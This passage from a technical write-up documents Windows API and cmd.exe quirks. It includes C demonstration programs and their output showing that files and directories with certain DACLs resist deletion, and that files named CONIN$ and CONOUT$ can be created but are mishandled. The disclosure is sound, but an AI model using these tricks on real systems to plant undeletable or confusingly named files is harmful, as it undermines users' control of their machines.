    					                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
    					                               (SID *) NULL,
    					                               (SID *) NULL,
    					                               &acl.acl,
    					                               (ACL *) NULL);
    
    					if (dwError != ERROR_SUCCESS)
    						PrintConsole(hConsole,
    						             L"SetNamedSecurityInfo() returned error %lu\n",
    						             dwError);
    					else
    						if (!DeleteFile(szName))
    							PrintConsole(hConsole,
    							             L"DeleteFile() returned error %lu\n",
    							             dwError = GetLastError());
    
    					dwError = ERROR_ACCESS_DENIED;
    				}
    			}
    		}
    
    		if (!CreateDirectory(szName,
    		                     &sa))
    			PrintConsole(hConsole,
    			             L"CreateDirectory() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwError = GetNamedSecurityInfo(szName,
    			                               SE_FILE_OBJECT,
    			                               OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    			                               (SID **) NULL,
    			                               (SID **) NULL,
    			                               &lpDACL,
    			                               (ACL **) NULL,
    			                               &lpSD);
    
    			if (dwError != ERROR_SUCCESS)
    				PrintConsole(hConsole,
    				             L"GetNamedSecurityInfo() returned error %lu\n",
    				             dwError);
    			else
    			{
    				if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
    				                                                         SDDL_REVISION_1,
    				                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    				                                                         &lpSDDL,
    				                                                         (LPDWORD) NULL))
    					PrintConsole(hConsole,
    					             L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"Directory \'%ls\' created with security descriptor \'%ls\'\n",
    					             szName, lpSDDL);
    
    					if (LocalFree(lpSDDL) != NULL)
    						PrintConsole(hConsole,
    						             L"LocalFree() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    
    				if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
    					PrintConsole(hConsole,
    					             L"DACL of directory differs from original DACL!\n");
    
    				if (LocalFree(lpSD) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    
    			if (!RemoveDirectory(szName))
    			{
    				PrintConsole(hConsole,
    				             L"RemoveDirectory() returned error %lu\n",
    				             dwError = GetLastError());
    
    				if (dwError == ERROR_ACCESS_DENIED)
    				{
    					dwError = SetNamedSecurityInfo(szName,
    					                               SE_FILE_OBJECT,
    					                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
    					                               (SID *) NULL,
    					                               (SID *) NULL,
    					                               &acl.acl,
    					                               (ACL *) NULL);
    
    					if (dwError != ERROR_SUCCESS)
    						PrintConsole(hConsole,
    						             L"SetNamedSecurityInfo() returned error %lu\n",
    						             dwError);
    					else
    						if (!RemoveDirectory(szName))
    							PrintConsole(hConsole,
    							             L"RemoveDirectory() returned error %lu\n",
    							             dwError = GetLastError());
    
    					dwError = ERROR_ACCESS_DENIED;
    				}
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk17.exe from the source file quirk17.c created in step 1., with the preprocessor macro QUIRKS defined as 0 or 1:

    SET CL=/GAFy /Oisy /W4 /wd4090 /Zl
    SET LINK=/DEFAULTLIB:advapi32.lib /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE /DQUIRKS=0 quirk17.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk17.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:advapi32.lib /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
  3. Execute the console application quirk17.exe built in step 2. to verify its proper function:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Using security descriptor 'D:P(A;NP;FA;;;AU)' to create file and directory 'Quirk17.tmp'
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)'
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)'
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    A file as well as a directory created (for example) with only the DACL D:P(A;NP;FA;;;AU) or D:P(A;NP;0x1f0000;;;S-1-5-15) can be deleted.
  4. Build the console application quirk17.exe a second time from the source file quirk17.c created in step 1., now with the preprocessor macro QUIRKS defined as 2 or 3:

    CL.EXE /DQUIRKS=2 quirk17.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:advapi32.lib /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
  5. Execute the console application quirk17.exe built in step 4. to show the misbehaviour:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Using security descriptor 'D:P(A;NP;FA;;;PS)' to create file and directory 'Quirk17.tmp'
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
    RemoveDirectory() returned error 5
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: while a file created (for example) with only the DACL D:P(A;NP;FA;;;PS) or D:P(A;NP;0x1f0000;;;S-1-5-1000) can be deleted, a directory created with only this DACL can’t be deleted!
  6. Build the console application quirk17.exe a third time from the source file quirk17.c created in step 1., now with the preprocessor macro QUIRKS defined as 4:

    CL.EXE /DQUIRKS=4 quirk17.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:advapi32.lib /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
  7. Execute the console application quirk17.exe built in step 6. to show a second misbehaviour:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Using security descriptor 'D:P(A;NP;0x3000000;;;IU)' to create file and directory 'Quirk17.tmp'
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)'
    DACL of file differs from original DACL!
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)'
    DACL of directory differs from original DACL!
    RemoveDirectory() returned error 5
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: the Win32 functions ConvertSecurityDescriptorToStringSecurityDescriptor(), CreateDirectory() and CreateFile() fail to detect the (intentionally) invalid DACL D:P(A;NP;0x3000000;;;IU); the latter functions apply a DACL D:P(A;NP;;;;IU) instead, granting only implicit (A;NP;WDRC;;;OW) access for the object’s owner!
  8. Build the console application quirk17.exe a fourth time from the source file quirk17.c created in step 1., now with the preprocessor macro QUIRKS defined as 5:

    CL.EXE /DQUIRKS=5 quirk17.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:advapi32.lib /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
  9. Execute the console application quirk17.exe built in step 8. to show a third misbehaviour:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    ConvertSecurityDescriptorToStringSecurityDescriptor() returned error 1336
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P'
    DACL of file differs from original DACL!
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P'
    DACL of directory differs from original DACL!
    RemoveDirectory() returned error 5
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: while the Win32 function ConvertSecurityDescriptorToStringSecurityDescriptor() now properly detects the (intentionally) invalid DACL D:P(ML;;NXNRNW;;;ME) and returns the Win32 error code 1336 alias ERROR_INVALID_ACL, both CreateDirectory() and CreateFile() fail to detect it and apply the empty DACL D:P instead, again granting only implicit (A;NP;WDRC;;;OW) access for the object’s owner!
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 18

The documentation for the Win32 function CreateFile() specifies how to use the file names CONIN$ and CONOUT$:
The CreateFile function can create a handle to console input (CONIN$). If the process has an open handle to it as a result of inheritance or duplication, it can also create a handle to the active screen buffer (CONOUT$). The calling process must be attached to an inherited console or one allocated by the AllocConsole function. For console handles, set the CreateFile parameters as follows.
Parameters Value
lpFileName Use the CONIN$ value to specify console input.
Use the CONOUT$ value to specify console output.

CONIN$ gets a handle to the console input buffer, even if the SetStdHandle function redirects the standard input handle. To get the standard input handle, use the GetStdHandle function.

CONOUT$ gets a handle to the active screen buffer, even if SetStdHandle redirects the standard output handle. To get the standard output handle, use GetStdHandle

dwDesiredAccess GENERIC_READ | GENERIC_WRITE is preferred, but either one can limit access.
dwShareMode When opening CONIN$, specify FILE_SHARE_READ. When opening CONOUT$, specify FILE_SHARE_WRITE.

If the calling process inherits the console, or if a child process should be able to access the console, this parameter must be FILE_SHARE_READ | FILE_SHARE_WRITE.

lpSecurityAttributes If you want the console to be inherited, the bInheritHandle member of the SECURITY_ATTRIBUTES structure must be TRUE.
dwCreationDisposition You should specify OPEN_EXISTING when using CreateFile to open the console.
dwFlagsAndAttributes Ignored.
hTemplateFile Ignored.
Note: the MSDN article Naming Files, Paths, and Namespaces fails to define the names CONIN$ and CONOUT$ as reserved or special.

The MSDN article Console Handles specifies:

GetFileType can assist in determining what device type the handle refers to. A console handle presents as FILE_TYPE_CHAR.

Demonstration (Variant 1)

Start the Command Processor Cmd.exe and run the following command lines to show the (mis)behaviour:
VER
CHDIR /D "%PUBLIC%"
ECHO Step 1: create files CONERR$, CONIN$ and CONOUT$
COPY "%COMSPEC%" CONERR$
COPY "%COMSPEC%" CONIN$
COPY "%COMSPEC%" CONOUT$
ECHO Step 2: rename file CONERR$ to CONIN$ to CONOUT$ to CONERR$
RENAME CONERR$ CONIN$
RENAME CONIN$ CONOUT$
RENAME CONOUT$ CONERR$
ECHO Step 3: move file CONERR$ to CONIN$ to CONOUT$ to CONERR$
MOVE CONERR$ CONIN$
MOVE CONIN$ CONOUT$
MOVE CONOUT$ CONERR$
ECHO Step 4: create hardlinks CONIN$ and CONOUT$
MKLINK /H CONIN$ CONERR$
MKLINK /H CONOUT$ CONIN$
DIR CON*$
ECHO Step 5: execute CONIN$ and CONOUT$
.\CONIN$
.\CONOUT$
ECHO Step 6: overwrite CONIN$ and CONOUT$
COPY CONERR$ CONIN$
COPY CONERR$ CONOUT$
DIR CON*$
ERASE CONOUT$
ECHO Step 7: create subdirectory CONIN$, copy file CONERR$ into it, then erase both
MKDIR CONIN$
COPY CONERR$ CONIN$
ERASE CONIN$\CONERR$
RMDIR CONIN$
ECHO Step 8: create subdirectory CONOUT$, copy file CONERR$ into it, then erase both
MKDIR CONOUT$
COPY CONERR$ CONOUT$
ERASE CONOUT$\CONERR$
RMDIR CONOUT$
ECHO Step 9: cleanup
ERASE CONERR$
Note: the command lines can be copied and pasted as block into a Command Processor window!
Microsoft Windows [Version 6.1.7601]
Step 1: create files CONERR$, CONIN$ and CONOUT$
        1 file(s) copied.
Access denied
        0 file(s) copied.
The handle is invalid.
        0 file(s) copied.
Step 2: rename file CONERR$ to CONOUT$ to CONIN$ to CONERR$
Step 3: move file CONERR$ to CONOUT$ to CONIN$ to CONERR$
        1 file(s) moved.
        1 file(s) moved.
Step 4: create hardlinks CONIN$ and CONOUT$
Hardlink created for CONIN$ <<===>> CONERR$
Hardlink created for CONOUT$ <<===>> CONIN$

 Volume in drive C has no label.
 Volume Serial Number is 1957-0427

 Directory of C:\Users\Public

06/12/2016  05:55 AM           345,088 CONERR$
06/12/2016  05:55 AM           345,088 CONIN$
06/12/2016  05:55 AM           345,088 CONOUT$
               3 File(s)      1,035,264 bytes
               2 Dir(s)    9,876,543,210 bytes free

Step 5: execute CONIN$ and CONOUT$
'.\CONIN$' is not recognized as an internal or external command,
operable program or batch file.
'.\CONOUT$' is not recognized as an internal or external command,
operable program or batch file.
Step 6: overwrite CONIN$ and CONOUT$
The handle is invalid.
        0 file(s) copied.
MZ[…]This program cannot be run in DOS mode.
[…]

 Volume in drive C has no label.
 Volume Serial Number is 1957-0427

 Directory of C:\Users\Public

06/12/2016  05:55 AM           345,088 CONERR$
06/12/2016  05:55 AM           345,088 CONOUT$
               3 File(s)        690,176 bytes
               2 Dir(s)    9,876,543,210 bytes free

Step 7: create subdirectory CONIN$, copy file CONERR$ into it, then erase both
        1 file(s) copied.
Step 8: create subdirectory CONOUT$, copy file CONERR$ into it, then erase both
        1 file(s) copied.
Step 9: cleanup
OOPS¹: while the builtin Copy fails to create files CONIN$ and CONOUT$, the builtins Rename alias Ren, Move and Mklink but succeed!

OUCH: although the files CONIN$ and CONOUT$ exist (and are copies of the command processor) the command processor fails to execute them!

OOPS²: if a file CONIN$ exists, the builtin Copy command deletes it!

OOPS³: if a file CONOUT$ exists, the builtin Copy command writes to the console screen buffer!

OOPS⁴: the builtin Md alias MkDir command creates directories CONIN$ and CONOUT$!

OOPS⁵: if a directory CONIN$ exists, the builtin Copy command succeeds!

OOPS⁶: if a directory CONOUT$ exists, the builtin Copy command succeeds!

Demonstration (Variant 2)

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk18.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szSpecial[3] = {L"CONIN$", L"CONOUT$", L"CONERR$"};
    
    const	LPCWSTR	szFileType[4] = {L"FILE_TYPE_UNKNOWN",
    		                 L"FILE_TYPE_DISK",
    		                 L"FILE_TYPE_CHAR",
    		                 L"FILE_TYPE_PIPE"};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwSpecial;
    	HANDLE	hSpecial;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
    			PrintConsole(hConsole,
    			             L"GetFileAttributes() returned attributes 0x%08lX for \'%ls\'\n",
    			             GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
    
    		dwModule = GetModuleFileName((HMODULE) NULL,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    
    		if (dwModule == 0)
    			PrintConsole(hConsole,
    			             L"GetModuleFileName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole, L"\n");
    
    			for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
    				if (!CopyFile(szModule,
    				              szSpecial[dwSpecial],
    				              FALSE))
    					PrintConsole(hConsole,
    					             L"CopyFile() returned error %lu for target file \'%ls\'\n",
    					             dwError = GetLastError(), szSpecial[dwSpecial]);
    				else
    				{
    					PrintConsole(hConsole,
    					             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
    					             GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
    
    					if (!DeleteFile(szSpecial[dwSpecial]))
    						PrintConsole(hConsole,
    						             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    						             dwError = GetLastError(), szSpecial[dwSpecial]);
    				}
    
    			if (!CopyFile(szModule,
    			              szSpecial[2],
    			              FALSE))
    				PrintConsole(hConsole,
    				             L"CopyFile() returned error %lu for target file \'%ls\'\n",
    				             dwError = GetLastError(), szSpecial[2]);
    			else
    				if (!MoveFile(szSpecial[2],
    				              szSpecial[1]))
    				{
    					PrintConsole(hConsole,
    					             L"MoveFile() returned error %lu for target file \'%ls\'\n",
    					             dwError = GetLastError(), szSpecial[1]);
    
    					if (!DeleteFile(szSpecial[2]))
    						PrintConsole(hConsole,
    						             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    						             dwError = GetLastError(), szSpecial[2]);
    				}
    				else
    				{
    					PrintConsole(hConsole,
    					             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
    					             GetFileAttributes(szSpecial[1]), szSpecial[1]);
    
    					if (!MoveFile(szSpecial[1],
    					              szSpecial[0]))
    					{
    						PrintConsole(hConsole,
    						             L"MoveFile() returned error %lu for target file \'%ls\'\n",
    						             dwError = GetLastError(), szSpecial[0]);
    
    						if (!DeleteFile(szSpecial[1]))
    							PrintConsole(hConsole,
    							             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szSpecial[1]);
    					}
    					else
    					{
    						PrintConsole(hConsole,
    						             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
    						             GetFileAttributes(szSpecial[0]), szSpecial[0]);
    
    						if (!DeleteFile(szSpecial[0]))
    							PrintConsole(hConsole,
    							             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szSpecial[0]);
    					}
    				}
    		}
    
    		PrintConsole(hConsole, L"\n");
    
    		for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
    			if (!CreateDirectory(szSpecial[dwSpecial],
    			                     (LPSECURITY_ATTRIBUTES) NULL))
    				PrintConsole(hConsole,
    				             L"CreateDirectory() returned error %lu for directory \'%ls\'\n",
    				             dwError = GetLastError(), szSpecial[dwSpecial]);
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetFileAttributes() returned attributes 0x%08lX for directory \'%ls\'\n",
    				             GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
    
    				hSpecial = CreateFile(szSpecial[dwSpecial],
    				                      GENERIC_READ | GENERIC_WRITE,
    				                      FILE_SHARE_READ | FILE_SHARE_WRITE,
    				                      (LPSECURITY_ATTRIBUTES) NULL,
    				                      OPEN_EXISTING,
    				                      FILE_FLAG_BACKUP_SEMANTICS,
    				                      (HANDLE) NULL);
    
    				if (hSpecial == INVALID_HANDLE_VALUE)
    					PrintConsole(hConsole,
    					             L"CreateFile() returned error %lu for directory \'%ls\'\n",
    					             dwError = GetLastError(), szSpecial[dwSpecial]);
    				else
    				{
    					PrintConsole(hConsole,
    					             L"GetFileType() returned %ls for directory \'%ls\'\n",
    					             szFileType[GetFileType(hSpecial)], szSpecial[dwSpecial]);
    
    					if (!CloseHandle(hSpecial))
    						PrintConsole(hConsole,
    						             L"CloseHandle() returned error %lu\n",
    						             GetLastError());
    				}
    
    				if (!RemoveDirectory(szSpecial[dwSpecial]))
    					PrintConsole(hConsole,
    					             L"RemoveDirectory() returned error %lu for directory \'%ls\'\n",
    					             dwError = GetLastError(), szSpecial[dwSpecial]);
    			}
    
    		PrintConsole(hConsole, L"\n");
    
    		for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
    		{
    			hSpecial = CreateFile(szSpecial[dwSpecial],
    			                      GENERIC_READ | GENERIC_WRITE,
    			                      FILE_SHARE_READ | FILE_SHARE_WRITE,
    			                      (LPSECURITY_ATTRIBUTES) NULL,
    			                      CREATE_NEW,
    			                      FILE_ATTRIBUTE_NORMAL,
    			                      (HANDLE) NULL);
    
    			if (hSpecial == INVALID_HANDLE_VALUE)
    				PrintConsole(hConsole,
    				             L"CreateFile() returned error %lu for file \'%ls\'\n",
    				             dwError = GetLastError(), szSpecial[dwSpecial]);
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
    				             GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
    
    				PrintConsole(hConsole,
    				             L"GetFileType() returned %ls for file \'%ls\'\n",
    				             szFileType[GetFileType(hSpecial)], szSpecial[dwSpecial]);
    
    				if (!CloseHandle(hSpecial))
    					PrintConsole(hConsole,
    					             L"CloseHandle() returned error %lu\n",
    					             GetLastError());
    
    				if (!DeleteFile(szSpecial[dwSpecial]))
    					PrintConsole(hConsole,
    					             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    					             dwError = GetLastError(), szSpecial[dwSpecial]);
    			}
    		}
    
    		if (dwModule != 0)
    		{
    			PrintConsole(hConsole, L"\n");
    
    			for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
    				if (!CreateHardLink(szSpecial[dwSpecial],
    				                    szModule,
    				                    (LPSECURITY_ATTRIBUTES) NULL))
    					PrintConsole(hConsole,
    					             L"CreateHardLink() returned error %lu for hardlink \'%ls\'\n",
    					             dwError = GetLastError(), szSpecial[dwSpecial]);
    				else
    				{
    					PrintConsole(hConsole,
    					             L"GetFileAttributes() returned attributes 0x%08lX for hardlink \'%ls\'\n",
    					             GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
    
    					hSpecial = CreateFile(szSpecial[dwSpecial],
    					                      GENERIC_READ | GENERIC_WRITE,
    					                      FILE_SHARE_READ | FILE_SHARE_WRITE,
    					                      (LPSECURITY_ATTRIBUTES) NULL,
    					                      OPEN_EXISTING,
    					                      FILE_ATTRIBUTE_NORMAL,
    					                      (HANDLE) NULL);
    
    					if (hSpecial == INVALID_HANDLE_VALUE)
    						PrintConsole(hConsole,
    						             L"CreateFile() returned error %lu for hardlink \'%ls\'\n",
    						             dwError = GetLastError(), szSpecial[dwSpecial]);
    					else
    					{
    						PrintConsole(hConsole,
    						             L"GetFileType() returned %ls for hardlink \'%ls\'\n",
    						             szFileType[GetFileType(hSpecial)], szSpecial[dwSpecial]);
    
    						if (!CloseHandle(hSpecial))
    							PrintConsole(hConsole,
    							             L"CloseHandle() returned error %lu\n",
    							             GetLastError());
    					}
    
    					if (!DeleteFile(szSpecial[dwSpecial]))
    						PrintConsole(hConsole,
    						             L"DeleteFile() returned error %lu for hardlink \'%ls\'\n",
    						             dwError = GetLastError(), szSpecial[dwSpecial]);
    				}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk18.exe from the source file quirk18.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk18.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk18.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk18.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk18.exe
    quirk18.obj
  3. Execute the console application quirk18.exe built in step 2. to demonstrate the (mis)behaviour:

    VER
    .\quirk18.exe
    DIR CON*$
    .\quirk18.exe
    ERASE CON*$
    Microsoft Windows [Version 6.1.7601]
    
    GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONIN$'
    GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONOUT$'
    GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONERR$'
    
    CopyFile() returned error 6 for target file 'CONIN$'
    CopyFile() returned error 5 for target file 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONERR$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$'
    
    GetFileAttributes() returned attributes 0x00000010 for directory 'CONIN$'
    GetFileType() returned FILE_TYPE_CHAR for directory 'CONIN$'
    GetFileAttributes() returned attributes 0x00000010 for directory 'CONOUT$'
    GetFileType() returned FILE_TYPE_CHAR for directory 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000010 for directory 'CONERR$'
    GetFileType() returned FILE_TYPE_DISK for directory 'CONERR$'
    
    GetFileAttributes() returned attributes 0xFFFFFFFF for file 'CONIN$'
    GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$'
    DeleteFile() returned error 2 for file 'CONIN$'
    GetFileAttributes() returned attributes 0xFFFFFFFF for file 'CONOUT$'
    GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$'
    DeleteFile() returned error 2 for file 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONERR$'
    GetFileType() returned FILE_TYPE_DISK for file 'CONERR$'
    
    GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONIN$'
    GetFileType() returned FILE_TYPE_CHAR for hardlink 'CONIN$'
    DeleteFile() returned error 5 for hardlink 'CONIN$'
    GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONOUT$'
    GetFileType() returned FILE_TYPE_CHAR for hardlink 'CONOUT$'
    DeleteFile() returned error 5 for hardlink 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONERR$'
    CreateFile() returned error 32 for hardlink 'CONERR$'
    DeleteFile() returned error 5 for hardlink 'CONERR$'
    
     Volume in drive C has no label.
     Volume Serial Number is 109D-EA14
    
     Directory of C:\Users\Stefan\Desktop
    
    04/27/2020  08:15 AM             6,144 CONERR$
    04/27/2020  08:15 AM             6,144 CONIN$
    04/27/2020  08:15 AM             6,144 CONOUT$
                   3 File(s)         18,432 bytes
                   2 Dir(s)    9,876,543,210 bytes free
    
    GetFileAttributes() returned attributes 0x00000020 for 'CONIN$'
    GetFileAttributes() returned attributes 0x00000020 for 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for 'CONERR$'
    
    CopyFile() returned error 6 for target file 'CONIN$'
    CopyFile() returned error 5 for target file 'CONOUT$'
    CopyFile() returned error 32 for target file 'CONERR$'
    
    CreateDirectory() returned error 183 for directory 'CONIN$'
    CreateDirectory() returned error 183 for directory 'CONOUT$'
    CreateDirectory() returned error 183 for directory 'CONERR$'
    
    GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$'
